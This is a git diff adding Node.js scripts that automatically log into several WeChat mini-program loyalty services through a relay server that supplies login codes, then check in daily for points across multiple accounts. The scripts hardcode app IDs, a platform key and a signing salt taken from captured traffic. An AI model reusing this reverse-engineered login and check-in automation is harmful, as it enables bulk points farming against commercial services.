this.userInfo = {}; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.showCheckinPage(); + await this.doCheckin(); + await this.getPoints(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + accessToken: this.token, + sessionId: this.sessionId, + kdtId: this.kdtId, + cookie: this.cookie, + mobile: this.userInfo.mobile || "", + nickName: this.userInfo.nick_name || this.userInfo.nickName || "", + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = ""; + } + + applyToken(data = {}) { + this.token = data.accessToken || data.access_token || ""; + this.sessionId = data.sessionId || data.session_id || ""; + this.kdtId = String(data.kdtId || data.kdt_id || KDT_ID); + this.cookie = data.cookie || ""; + } + + getHeaders(extra = {}) { + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/30/page-frame.html`, + "Accept": "*/*", + "Extra-Data": JSON.stringify({ + sid: this.sessionId || "", + version: USER_VERSION, + clientType: "weapp-miniprogram", + client: "weapp", + bizEnv: "wsc", + }), + ...extra, + }; + if (this.cookie) headers.Cookie = this.cookie; + return headers; + } + + getBaseParams(params = {}) { + return { + app_id: MINI_APP_ID, + kdt_id: this.kdtId, + access_token: this.token, + ...params, + }; + } + + async request({ method = "GET", path: apiPath, params = {}, data = {}, skipToken = false }) { + const options = { + method, + url: `${API_BASE}${apiPath.startsWith("/") ? apiPath : `/${apiPath}`}`, + headers: this.getHeaders(method === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 15000, + validateStatus: () => true, + }; + if (!skipToken) options.params = this.getBaseParams(params); + else options.params = params; + if (method !== "GET") options.data = data; + + const { data: result, status, headers } = await axios.request(options); + if (headers["set-cookie"]) { + this.cookie = headers["set-cookie"].map((item) => item.split(";")[0]).join("; "); + } + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (!result || result.code !== 0) throw new Error(result?.msg || JSON.stringify(result)); + return result.data; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const data = await this.request({ + method: "POST", + path: "/wscshop/weapp/authorize.json", + skipToken: true, + data: { + appId: MINI_APP_ID, + clientId: CLIENT_ID, + clientSecret: CLIENT_SECRET, + grantType: GRANT_TYPE, + code, + }, + }); + this.applyToken(data); + this.userInfo = data || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: ${data.nick_name || ""} ${maskPhone(data.mobile) || ""}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + const data = await this.request({ path: "/wscump/integral/user_points.json" }); + this.points = data?.current_points ?? data?.real_points; + return true; + } catch (e) { + return false; + } + } + + async showCheckinPage() { + try { + const data = await this.request({ path: "/wscump/checkin/show_checkin_page_v2.json" }); + this.checkinId = data?.checkinId; + $.log(`账号[${this.index}] 签到活动: checkinId=${this.checkinId || "未获取"} isShow=${!!data?.isShow}`); + } catch (e) { + $.log(`账号[${this.index}] 获取签到活动失败: ${e.message || e}`); + } + } + + async doCheckin() { + if (!this.checkinId) { + $.log(`账号[${this.index}] 未获取到 checkinId,跳过签到`); + return; + } + try { + const data = await this.request({ + path: "/wscump/checkin/checkinV2.json", + params: { checkinId: this.checkinId }, + }); + const awards = (data?.list || []).map((item) => item?.infos?.title).filter(Boolean).join(", "); + $.log(`账号[${this.index}] 签到成功: ${data?.desc || ""}${awards ? ` ${awards}` : ""}`); + } catch (e) { + $.log(`账号[${this.index}] 签到失败: ${e.message || e}`); + if (/access_token|token|登录|授权|请先登录/i.test(String(e.message || e))) this.removeCachedToken(); + } + } + + async getPoints() { + try { + const data = await this.request({ path: "/wscump/integral/user_points.json" }); + $.log(`账号[${this.index}] 当前积分: ${data?.current_points ?? data?.real_points ?? "未知"}`); + } catch (e) { + $.log(`账号[${this.index}] 查询积分失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/fhxmh.js b/wxapp/fhxmh.js new file mode 100644 index 00000000..4e323338 --- /dev/null +++ b/wxapp/fhxmh.js @@ -0,0 +1,217 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.09 +@Description: 飞鹤星妈会 登录/查询/签到 +cron: 20 8 * * * +------------------------------------------ +变量名:fhxmh +变量值:wx_server里的openid/账号标识,多账号用 & 或换行 +依赖变量:wx_server_url、wx_auth +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("飞鹤星妈会"); +const axios = require("axios"); + +const CK_NAME = "fhxmh"; +const APP = { name: "飞鹤星妈会", appid: "wxc83b55d61c7fc51d" }; +// 服务端业务成功码(签到成功时返回 code=000000 且 success=true) +const OK_CODES = ["00000", "000000", "A00002"]; +const WX_SERVER_URL = (process.env.wx_server_url || "http://192.168.31.196:8787").replace(/\/$/, ""); +const WX_AUTH = process.env.wx_auth || ""; +const DEFAULT_OPENID = process.env.wx_openid || ""; +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +function short(value, max = 220) { + if (value === undefined || value === null) return ""; + const text = typeof value === "string" ? value : JSON.stringify(value); + return text.length > max ? `${text.slice(0, max)}...` : text; +} + +function getByPath(obj, path) { + return String(path) + .split(".") + .reduce((cur, key) => (cur && cur[key] !== undefined ? cur[key] : undefined), obj); +} + +function findFirst(obj, predicate, depth = 0) { + if (!obj || depth > 8) return null; + if (Array.isArray(obj)) { + for (const item of obj) { + const found = findFirst(item, predicate, depth + 1); + if (found) return found; + } + return null; + } + if (typeof obj === "object") { + if (predicate(obj)) return obj; + for (const value of Object.values(obj)) { + const found = findFirst(value, predicate, depth + 1); + if (found) return found; + } + } + return null; +} + +async function request(options) { + const res = await axios.request({ + timeout: 20000, + validateStatus: () => true, + ...options, + headers: { + "User-Agent": USER_AGENT, + Accept: "application/json, text/plain, */*", + ...(options.headers || {}), + }, + }); + return { status: res.status, headers: res.headers || {}, data: res.data }; +} + +async function getWxCode(appid, openid) { + if (!WX_AUTH) throw new Error("未配置 wx_auth"); + const { status, data } = await request({ + method: "POST", + url: `${WX_SERVER_URL}/wx/code`, + headers: { auth: WX_AUTH, "content-type": "application/json" }, + data: { appid, openid }, + }); + const code = data?.code || data?.data?.code || data?.phoneCode || data?.data?.phoneCode; + if (status !== 200 || !code) throw new Error(`获取code失败 HTTP ${status}: ${short(data)}`); + return code; +} + +class FeiheMom { + constructor(openid) { + this.openid = openid; + this.base = "https://momclub.feihe.com/capis"; + this.token = ""; + } + + async api({ method = "GET", path, data, allowFail = false }) { + const opts = { + method, + url: `${this.base}${path}`, + headers: { + Authorization: this.token, + locale: "zh_CN", + "content-type": "application/json", + }, + }; + if (method === "GET") opts.params = data || {}; + else opts.data = data === undefined ? {} : data; + const res = await request(opts); + const ok = res.status === 200 && OK_CODES.includes(String(res.data?.code)); + if (!ok && !allowFail) throw new Error(`HTTP ${res.status}: ${short(res.data)}`); + return res.data; + } + + async login() { + const code = await getWxCode(APP.appid, this.openid); + const res = await request({ + method: "POST", + url: `${this.base}/social/ma`, + headers: { "content-type": "application/json", locale: "zh_CN" }, + data: code, + transformRequest: [(data) => data], + }); + const token = res.data?.data?.tokenInfo?.accessToken || res.data?.data?.accessToken || ""; + // 服务端会以 code:"00000"/success:true 回一个只含 tempUid、tokenInfo:null 的响应, + // 那是「该微信号还不是会员」的临时身份,不是登录出错——照原样抛会显示成 HTTP 200 的登录失败。 + if (res.status === 200 && !token && res.data?.data?.tempUid) { + const e = new Error("NO_ACCOUNT:登录只返回临时身份(tokenInfo 为空)"); + e.unregistered = true; + throw e; + } + if (res.status !== 200 || !token) throw new Error(`登录失败 HTTP ${res.status}: ${short(res.data)}`); + this.token = token; + return `token=${token.slice(0, 8)}***`; + } + + async query() { + const member = await this.api({ path: "/c/user/memberInfo", allowFail: true }); + const user = await this.api({ path: "/p/user/userInfo", allowFail: true }); + const data = member?.data || user?.data || {}; + const score = data.score || data.points || data.integral || data.availableScore || data.totalScore; + const name = data.nickName || data.nickname || data.memberName || data.mobile || data.phone || ""; + return `用户=${name || "未知"} 积分=${score ?? "未知"} member=${short(member?.data || member, 120)}`; + } + + async sign() { + const todo = await this.api({ + path: "/c/activity/todo/list", + data: { mockTime: Date.now() }, + allowFail: true, + }); + const checkTodo = + getByPath(todo, "data.checkInTodo") || + findFirst(todo?.data, (item) => item && (item.checkInExtra || /签到|打卡|check/i.test(`${item.taskName || item.name || item.title || ""}`))); + const activityId = checkTodo?.id || checkTodo?.activityId || checkTodo?.taskId; + if (!activityId) return `未找到签到任务: ${short(todo)}`; + const todaySigned = + checkTodo?.todaySigned || + checkTodo?.signed || + checkTodo?.finish || + checkTodo?.completed || + checkTodo?.status === 1 || + checkTodo?.state === 1; + if (todaySigned) return `今日已签到 activityId=${activityId}`; + const sign = await this.api({ + method: "POST", + path: "/c/activity/todo/checkIn", + data: { activityId, mockTime: Date.now() }, + allowFail: true, + }); + // 成功: {"ok":true,"success":true,"code":"000000","data":{"credits":1}} + if (sign?.success === true || OK_CODES.includes(String(sign?.code))) { + const credits = sign?.data?.credits ?? sign?.data?.point ?? sign?.data?.score; + return `签到成功${credits === undefined ? "" : `,+${credits}积分`} activityId=${activityId}`; + } + // 任务列表的已签标记字段不全,重复签到时靠服务端文案/业务码兜底 + // 实测重复签到返回 {"code":"A00001","msg":"今天已经签到过了"} + if (String(sign?.code) === "A00001" || /已签|已经签|签到过|重复|already/i.test(`${sign?.message || ""}${sign?.msg || ""}`)) { + return `今日已签到 activityId=${activityId}`; + } + return `签到失败: ${short(sign)}`; + } +} + +async function runAccount(openid, index) { + $.log(`\n========== ${APP.name} 账号[${index}] ${openid} ==========`); + const runner = new FeiheMom(openid); + try { + $.log(`登录:${await runner.login()}`); + $.log(`查询:${await runner.query()}`); + $.log(`签到:${await runner.sign()}`); + } catch (e) { + const m = String(e.message || e); + if (m.startsWith("NO_ACCOUNT")) { + $.log(`⚠️ 该微信号还没在飞鹤星妈会注册会员(${m.replace(/^NO_ACCOUNT:/, "")}),先在小程序里登录注册一次再跑`); + return; + } + $.log(`执行失败:${m}`); + } +} + +(async () => { + const accounts = (process.env[CK_NAME] || DEFAULT_OPENID || "") + .split((process.env[CK_NAME] || "").includes("\n") ? "\n" : "&") + .map((x) => x.trim()) + .filter(Boolean); + if (!accounts.length) { + $.log(`未配置 ${CK_NAME}`); + await $.done(); + return; + } + $.log(`共找到${accounts.length}个账号`); + for (let i = 0; i < accounts.length; i++) { + await runAccount(accounts[i], i + 1); + await $.wait(800); + } + await $.done(); +})().catch(async (e) => { + $.log(`脚本异常:${e.stack || e.message || e}`); + await $.done(); +}); diff --git a/wxapp/fmy.js b/wxapp/fmy.js new file mode 100644 index 00000000..9cbd233a --- /dev/null +++ b/wxapp/fmy.js @@ -0,0 +1,233 @@ +/* +------------------------------------------ +@Description: 飞蚂蚁旧衣回收 - 微信小程序静默登录 + 每日签到 +cron: 37 8 * * * +------------------------------------------ +变量名:fmy +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx501990400906c9ff,host openapp.fmy90.com): +(迁移自 YYB-GO 系抓包脚本;原脚本已是 code 登录,天然适配 smallcat 取码) + +登录 POST /auth/wx/login form: code=&platformKey=&version=V2.00.01&vital=&partner_platform_key= + -> code==200,token 在 data.token(新用户)或 data.userInfo.token(老用户), + 兼容 data.access_token。firstLogin==1 且 data.user 为空数组 = 新号未完成注册(签到会 401) +签到 POST /sign/new/do JSON: {version:"V2.00.01", platformKey:, mini_scene:1089, partner_ext_infos:""} + 鉴权头 authorization: Bearer ;成功码 200,重复签回 {code:400,"今天已经签到过啦~"} + +platformKey F2EE24892FBF66F0AFF8C0EB532A9394 是这家小程序的固定平台标识(原脚本硬编码)。 +实测:号1 签到成功(会员 userId 14320122,userTotalBeans 10);重复签到「今天已经签到过啦~」。 +不做:豆子兑换/其它任务。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("飞蚂蚁旧衣回收"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "fmy"; +const MINI_APP_ID = "wx501990400906c9ff"; +const BASE = "https://openapp.fmy90.com"; +const PLATFORM_KEY = "F2EE24892FBF66F0AFF8C0EB532A9394"; +const APP_VERSION = "V2.00.01"; +const TOKEN_CACHE_FILE = path.join(__dirname, "fmy_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/auth/wx/login"; +const EP_SIGN = "/sign/new/do"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function form(obj) { + return Object.entries(obj) + .map(([k, v]) => `${k}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} + +const isOk = (res) => Number(res?.code) === 200; +const msgOf = (res) => res?.message || res?.msg || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (res) => Number(res?.code) === 401 || /登录失败|重新登录|token|未登录/i.test(msgOf(res)); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, { method = "POST", body = null, formBody = null } = {}) { + const headers = { + "User-Agent": USER_AGENT, + "device-version": "Windows 10 x64", + "device-model": "microsoft", + Accept: "*/*", + xweb_xhr: "1", + Referer: `https://servicewechat.com/${MINI_APP_ID}/506/page-frame.html`, + }; + if (this.token) headers.authorization = `Bearer ${this.token}`; + let data; + if (formBody) { + headers["Content-Type"] = "application/x-www-form-urlencoded"; + data = form(formBody); + } else { + headers["Content-Type"] = "application/json"; + data = body || {}; + } + const res = await axios.request({ + method, + url: `${BASE}${apiPath}`, + data, + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** wcs.getCode 在 status:false 时也 resolve,必须自己判失败,否则取码限流会被误报成登录失败 */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { + formBody: { code, platformKey: PLATFORM_KEY, version: APP_VERSION, vital: "", partner_platform_key: "" }, + }); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + const d = res.data || {}; + this.token = String(d.token || (d.userInfo || {}).token || d.access_token || ""); + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + // firstLogin==1 且 user 为空 = 新号未完成注册,签到会 401 + this.newUser = Number(d.firstLogin) === 1 && (!d.user || (Array.isArray(d.user) && d.user.length === 0)); + const u = d.user || d.userInfo || {}; + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${u.userId ? ` (userId ${u.userId}, 环保豆 ${u.userTotalBeans ?? "-"})` : this.newUser ? "(新号,未完成注册)" : ""}`); + } + + async sign(retry = true) { + const res = await this.request(EP_SIGN, { + body: { version: APP_VERSION, platformKey: PLATFORM_KEY, mini_scene: 1089, partner_ext_infos: "" }, + }); + if (isOk(res)) { + const amt = (res.data || {}).sign_red_amount; + this.log(`✅ 签到成功${amt ? `,红包 ${amt}` : ""}`); + return; + } + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (retry && isAuthError(res)) { + // 缓存 token 失效,重登一次 + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + if (this.newUser) { + this.log("⚠️ 该微信号是新号、还没在飞蚂蚁完成注册,签到需先在小程序里注册一次"); + return; + } + return this.sign(false); + } + if (Number(res?.code) === 401) { + this.log("⚠️ 该微信号还没在飞蚂蚁注册会员(签到回 401),先在小程序里注册一次再跑"); + return; + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + this.log("使用缓存token"); + return; + } + if (!this.token) await this.login(); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + if (this.newUser) { + this.log("⚠️ 该微信号是新号、还没在飞蚂蚁完成注册,先在小程序里注册一次再跑"); + return; + } + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/fsdlb.js b/wxapp/fsdlb.js new file mode 100644 index 00000000..3f85daee --- /dev/null +++ b/wxapp/fsdlb.js @@ -0,0 +1,288 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.01 +@Description: fsdlb 微信小程序逢三得利吧 签到积分 +cron: 30 9 * * * +------------------------------------------ +变量名:fsdlb +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +需要配置:wx_server_url、wx_auth + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("逢三得利吧小程序"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("../wxapp/wcs.js"); + +let ckName = "fsdlb"; +const MINI_APP_ID = "wxb33ed03c6c715482"; +const MERCHANT_APP_NAME = "20230130307725"; +const TEMPLATE_VERSION = "0.6.4"; +const X_VERSION = "2.3.5"; +const CLIENT_ID = "saas-wechat-app"; +const APP_PUBLISH_TYPE = 1; +const MINIAPP_ID = 159; +const API_BASE = "https://xiaodian.miyatech.com/api"; +const TOKEN_CACHE_FILE = path.join(__dirname, "fsdlb_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; +const defaultUserAgent = USER_AGENT; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function shortToken(token = "") { + const value = String(token).replace(/^bearer\s+/i, ""); + return value ? `${value.slice(0, 6)}***${value.slice(-6)}` : ""; +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function pickToken(data = {}) { + return data?.tokenInfo?.access_token || data.accessToken || data.access_token || data.token || ""; +} + +function isSuccess(result) { + return String(result?.code) === "200"; +} + +function isTokenError(message) { + return /401|403|M401|M403|token|登录|授权|未登录|无效|过期/i.test(String(message || "")); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = ""; + this.userInfo = {}; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token: ${shortToken(this.token)}`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.info(); + await this.signIn(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + accessToken: this.token, + userInfo: this.userInfo, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = ""; + this.userInfo = {}; + } + + applyToken(data = {}) { + this.token = pickToken(data); + this.userInfo = data.userInfo || data.thirdUsrIf || {}; + } + + getHeaders(extra = {}, auth = true) { + const headers = { + componentSend: "1", + "HH-FROM": MERCHANT_APP_NAME, + "HH-APP": MINI_APP_ID, + "HH-VERSION": TEMPLATE_VERSION, + "X-VERSION": X_VERSION, + "Content-Type": "application/json", + appPublishType: APP_PUBLISH_TYPE, + "HH-CI": CLIENT_ID, + "MARKETING-PLAN-NO": "", + "USER-ENTRANCE-CHANNEL": "", + "USER-ENTRANCE-CHANNEL-KEY": "", + "ONE-ID": this.userInfo.oneId || "", + groupPosId: "", + "User-Agent": USER_AGENT, + ...extra, + }; + if (auth && this.token) headers.Authorization = `bearer ${this.token}`; + return headers; + } + + async request({ method = "GET", path: apiPath, data, params, auth = true }) { + const options = { + method, + url: `${API_BASE}${apiPath.startsWith("/") ? apiPath : `/${apiPath}`}`, + headers: this.getHeaders({}, auth), + timeout: 15000, + validateStatus: () => true, + }; + if (params) options.params = params; + if (data !== undefined) options.data = data; + + const { data: result, status } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (!isSuccess(result)) throw new Error(result?.msg || JSON.stringify(result)); + return result.data; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const data = await this.request({ + method: "POST", + path: "/user/login/wx-jc", + auth: false, + data: { + jsCode: code, + clientId: CLIENT_ID, + myUnionId: "", + appPublishType: APP_PUBLISH_TYPE, + }, + }); + this.token = pickToken(data); + this.userInfo = data?.thirdUsrIf || {}; + if (!this.token) throw new Error(`登录响应未返回token: ${JSON.stringify(data)}`); + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: ${maskPhone(this.userInfo.phone) || this.userInfo.oid || ""}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.request({ + path: "/user/auth/member/integral/union/flow/list", + params: { pageNo: 1, pageSize: 1, dataType: "SCORE" }, + }); + return true; + } catch (e) { + return false; + } + } + + async signIn() { + try { + const data = await this.request({ + method: "POST", + path: "/coupon/auth/signIn", + data: { + miniappId: MINIAPP_ID, + }, + }); + $.log(`🕊账号[${this.index}] 签到成功:${data?.integralToastText || "成功"}🎉`); + } catch (e) { + const message = String(e.message || e); + if (/已签到|已签|重复/.test(message)) { + $.log(`🕊账号[${this.index}] 今日已签到`); + return; + } + $.log(`🕊账号[${this.index}] 签到失败:${message}🚫`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async info() { + try { + const data = await this.request({ + path: "/user/auth/member/integral/union/flow/list", + params: { pageNo: 1, pageSize: 10, dataType: "SCORE" }, + }); + $.log(`🕊账号[${this.index}] 查询成功:总积分[${data?.totalScore ?? "未知"}]🎉`); + } catch (e) { + const message = String(e.message || e); + $.log(`🕊账号[${this.index}] 查询失败:${message}🚫`); + if (isTokenError(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + await getNotice(); + $.checkEnv(ckName); + + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); + +async function getNotice() { + try { + const options = { + url: "https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json", + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000, + }; + const { data: res } = await axios.request(options); + $.log(res); + return res; + } catch (e) { } +} diff --git a/wxapp/fuyouhui.js b/wxapp/fuyouhui.js new file mode 100644 index 00000000..7a88780c --- /dev/null +++ b/wxapp/fuyouhui.js @@ -0,0 +1,396 @@ +/* +复游会 - 签到活动 +cron: 25 8 * * * + +变量名:fuyouhui +变量值: + 1. wx_server 中保存的 openid/账号标识,多账号用 & 或换行分隔 + 2. openid#folidayMallToken,可首次写入/刷新本地缓存 + 3. 仅 folidayMallToken,也可查询/签到,但不会携带当天 wxcode + +依赖变量:wx_server_url、wx_auth +可选变量:fuyouhui_token(单账号 token 兜底) +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("复游会"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "fuyouhui"; +const MINI_APP_ID = "wx1fa4da2889526a37"; +const API_BASE = "https://apis.folidaymall.com"; +const SIGN_SALT = "3d83f7d9"; +const TOKEN_CACHE_FILE = path.join(__dirname, "fuyouhui_token_cache.json"); + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "your-api-key", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`token缓存写入失败: ${e.message || e}`); + } +} + +function md5(text) { + return crypto.createHash("md5").update(String(text)).digest("hex"); +} + +function uuid() { + return crypto.randomUUID + ? crypto.randomUUID() + : "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, (c) => { + const r = (Math.random() * 16) | 0; + const v = c === "x" ? r : (r & 0x3) | 0x8; + return v.toString(16); + }); +} + +function mask(value = "") { + value = String(value); + if (!value) return ""; + if (value.length <= 12) return `${value.slice(0, 3)}***`; + return `${value.slice(0, 6)}***${value.slice(-6)}`; +} + +function clientInfo() { + return JSON.stringify({ + app_version: "4.0.5", + client_key: "wx_mini_tc", + client_name: encodeURIComponent("复游会微信小程序"), + os: "windows", + app_key: "WX_MINI_TC", + }); +} + +function parseAccount(raw) { + const text = String(raw || "").trim(); + if (!text) return { openid: "", token: "" }; + + if (text.startsWith("{")) { + try { + const data = JSON.parse(text); + return { + openid: data.openid || data.openId || data.account || "", + token: data.token || data.folidayMallToken || "", + }; + } catch {} + } + + for (const sep of ["#", "|"]) { + if (text.includes(sep)) { + const [openid, ...rest] = text.split(sep); + return { openid: openid.trim(), token: rest.join(sep).trim() }; + } + } + + if (text.includes(".") || text.startsWith("eyJ")) return { openid: "", token: text }; + 